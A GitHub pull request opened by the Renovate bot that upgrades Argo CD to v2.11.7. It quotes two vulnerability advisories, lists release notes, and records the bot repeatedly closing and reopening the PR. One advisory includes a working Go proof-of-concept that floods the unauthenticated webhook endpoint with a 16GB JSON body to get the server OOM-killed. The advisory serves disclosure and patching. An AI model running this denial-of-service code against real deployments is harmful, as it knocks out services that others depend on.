Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Update module github.com/argoproj/argo-cd/v2 to v2.11.7 [SECURITY] #198

Open
wants to merge 1 commit into
base: main
Choose a base branch
from

Conversation

renovate[bot]
Copy link
Contributor

@renovate renovate bot commented Aug 6, 2024

This PR contains the following updates:

Package Change Age Adoption Passing Confidence
github.com/argoproj/argo-cd/v2 v2.11.4 -> v2.11.7 age adoption passing confidence

GitHub Vulnerability Alerts

CVE-2024-40634

Summary

This report details a security vulnerability in Argo CD, where an unauthenticated attacker can send a specially crafted large JSON payload to the /api/webhook endpoint, causing excessive memory allocation that leads to service disruption by triggering an Out Of Memory (OOM) kill. The issue poses a high risk to the availability of Argo CD deployments.

Details

The webhook server always listens to requests. By default, the endpoint doesn't require authentication. It's possible to send a large, malicious request with headers (in this case "X-GitHub-Event: push") that will make ArgoCD start allocating memory to parse the incoming request. Since the request can be constructed client-side without allocating large amounts of memory, it can be arbitrarily large. Eventually, the argocd-server component will get OOMKilled as it consumes all its available memory.

The fix would be to enforce a limit on the size of the request being parsed.

PoC

Port-forward to the argocd-server service, like so:

kubectl port-forward svc/argocd-server -n argocd 8080:443

Run the below code:

package main

import (
	"crypto/tls"
	"io"
	"net/http"
)

// Define a custom io.Reader that generates a large dummy JSON payload.
type DummyJSONReader struct {
	size int64 // Total size to generate
	read int64 // Bytes already generated
}

// Read generates the next chunk of the dummy JSON payload.
func (r *DummyJSONReader) Read(p []byte) (n int, err error) {
	if r.read >= r.size {
		return 0, io.EOF // Finished generating
	}

	start := false
	if r.read == 0 {
		// Start of JSON
		p[0] = '{'
		p[1] = '"'
		p[2] = 'd'
		p[3] = 'a'
		p[4] = 't'
		p[5] = 'a'
		p[6] = '"'
		p[7] = ':'
		p[8] = '"'
		n = 9
		start = true
	}

	for i := n; i < len(p); i++ {
		if r.read+int64(i)-int64(n)+1 == r.size-1 {
			// End of JSON
			p[i] = '"'
			p[i+1] = '}'
			r.read += int64(i) + 2 - int64(n)
			return i + 2 - n, nil
		} else {
			p[i] = 'x' // Dummy data
		}
	}

	r.read += int64(len(p)) - int64(n)
	if start {
		return len(p), nil
	}
	return len(p) - n, nil
}

func main() {
	// Initialize the custom reader with the desired size (16GB in this case).
	payloadSize := int64(16) * 1024 * 1024 * 1024 // 16GB
	reader := &DummyJSONReader{size: payloadSize}

	// HTTP client setup
	httpClient := &http.Client{
		Timeout: 0, // No timeout
		Transport: &http.Transport{
			TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
		},
	}

	req, err := http.NewRequest("POST", "https://localhost:8080/api/webhook", reader)
	if err != nil {
		panic(err)
	}

	// Set headers
	req.Header.Set("Content-Type", "application/json")
	req.Header.Set("X-GitHub-Event", "push")

	resp, err := httpClient.Do(req)
	if err != nil {
		panic(err)
	}
	defer resp.Body.Close()

	println("Response status code:", resp.StatusCode)
}

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.6
v2.10.15
v2.9.20

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by Jakub Ciolek

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue

CVE-2024-41666

Argo CD v2.11.3 and before, discovering that even if the user's p, role:myrole, exec, create, */*, allow permissions are revoked, the user can still send any Websocket message, which allows the user to view sensitive information. Even though they shouldn't have such access.

Description

Argo CD has a Web-based terminal that allows you to get a shell inside a running pod, just like you would with kubectl exec. However, when the administrator enables this function and grants permission to the user p, role:myrole, exec, create, */*, allow, even if the user revokes this permission, the user can still perform operations in the container, as long as the user keeps the terminal view open for a long time. CVE-2023-40025 Although the token expiration and revocation of the user are fixed, however, the fix does not address the situation of revocation of only user p, role:myrole, exec, create, */*, allow permissions, which may still lead to the leakage of sensitive information.

Patches

A patch for this vulnerability has been released in the following Argo CD versions:

v2.11.7
v2.10.16
v2.9.21

For more information

If you have any questions or comments about this advisory:

Open an issue in the Argo CD issue tracker or discussions
Join us on Slack in channel #argo-cd

Credits

This vulnerability was found & reported by
Shengjie Li, Huazhong University of Science and Technology
Zhi Li, Huazhong University of Science and Technology
Weijie Liu, Nankai University

The Argo team would like to thank these contributors for their responsible disclosure and constructive communications during the resolve of this issue


Release Notes

argoproj/argo-cd (github.com/argoproj/argo-cd/v2)

v2.11.7

Compare Source

Quick Start

Non-HA:
kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.7/manifests/install.yaml
HA:
kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.7/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Other work

Full Changelog: argoproj/argo-cd@v2.11.6...v2.11.7

v2.11.6

Compare Source

Quick Start

Non-HA:
kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.6/manifests/install.yaml
HA:
kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.6/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes
Other work

Full Changelog: argoproj/argo-cd@v2.11.5...v2.11.6

v2.11.5

Compare Source

Quick Start

Non-HA:
kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.5/manifests/install.yaml
HA:
kubectl create namespace argocd
kubectl apply -n argocd -f https://raw.githubusercontent.com/argoproj/argo-cd/v2.11.5/manifests/ha/install.yaml

Release Signatures and Provenance

All Argo CD container images are signed by cosign. A Provenance is generated for container images and CLI binaries which meet the SLSA Level 3 specifications. See the documentation on how to verify.

Upgrading

If upgrading from a different minor version, be sure to read the upgrading documentation.

Changelog

Bug fixes
Other work

Full Changelog: argoproj/argo-cd@v2.11.4...v2.11.5


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

Copy link
Contributor Author

renovate bot commented Aug 6, 2024

ℹ Artifact update notice

File name: go.mod

In order to perform the update(s) described in the table above, Renovate ran the go get command, which resulted in the following additional change(s):

  • 1 additional dependency was updated

Details:

Package Change
github.com/argoproj/gitops-engine v0.7.1-0.20240702153804-5995eca2fb63 -> v0.7.1-0.20240715141605-18ba62e1f1fb

@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.6 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Aug 7, 2024
@renovate renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from a34a5c3 to bef91e2 Compare August 7, 2024 17:37
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Oct 24, 2024
@renovate renovate bot closed this Oct 24, 2024
@renovate renovate bot deleted the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch October 24, 2024 07:24
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Oct 24, 2024
@renovate renovate bot reopened this Oct 24, 2024
@renovate renovate bot restored the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch October 24, 2024 09:56
@renovate renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from bef91e2 to 1c6553f Compare October 24, 2024 09:57
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Oct 30, 2024
@renovate renovate bot closed this Oct 30, 2024
@renovate renovate bot deleted the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch October 30, 2024 15:29
@renovate renovate bot restored the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch October 30, 2024 20:03
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Oct 30, 2024
@renovate renovate bot reopened this Oct 30, 2024
@renovate renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 1c6553f to bd4cebb Compare October 30, 2024 20:04
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Nov 11, 2024
@renovate renovate bot closed this Nov 11, 2024
@renovate renovate bot deleted the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch November 11, 2024 00:57
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Nov 11, 2024
@renovate renovate bot reopened this Nov 11, 2024
@renovate renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 29e6e77 to bd4cebb Compare November 11, 2024 04:05
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Nov 15, 2024
@renovate renovate bot closed this Nov 15, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Nov 15, 2024
@renovate renovate bot reopened this Nov 15, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Nov 21, 2024
@renovate renovate bot closed this Nov 21, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Nov 21, 2024
@renovate renovate bot reopened this Nov 21, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Nov 25, 2024
@renovate renovate bot closed this Nov 25, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Nov 25, 2024
@renovate renovate bot reopened this Nov 25, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Nov 29, 2024
@renovate renovate bot closed this Nov 29, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Nov 29, 2024
@renovate renovate bot reopened this Nov 29, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Nov 29, 2024
@renovate renovate bot closed this Nov 29, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Nov 30, 2024
@renovate renovate bot reopened this Nov 30, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Dec 12, 2024
@renovate renovate bot closed this Dec 12, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Dec 12, 2024
@renovate renovate bot reopened this Dec 12, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed Dec 22, 2024
@renovate renovate bot closed this Dec 22, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] - autoclosed fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Dec 22, 2024
@renovate renovate bot reopened this Dec 22, 2024
@renovate renovate bot changed the title fix(deps): update module github.com/argoproj/argo-cd/v2 to v2.11.7 [security] Update module github.com/argoproj/argo-cd/v2 to v2.11.7 [SECURITY] Dec 22, 2024
@renovate renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch 2 times, most recently from 6b3cda0 to 8bdb54d Compare December 23, 2024 10:49
@renovate renovate bot force-pushed the renovate/go-github.com-argoproj-argo-cd-v2-vulnerability branch from 8bdb54d to 42abc38 Compare December 23, 2024 10:52
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

Successfully merging this pull request may close these issues.

0 participants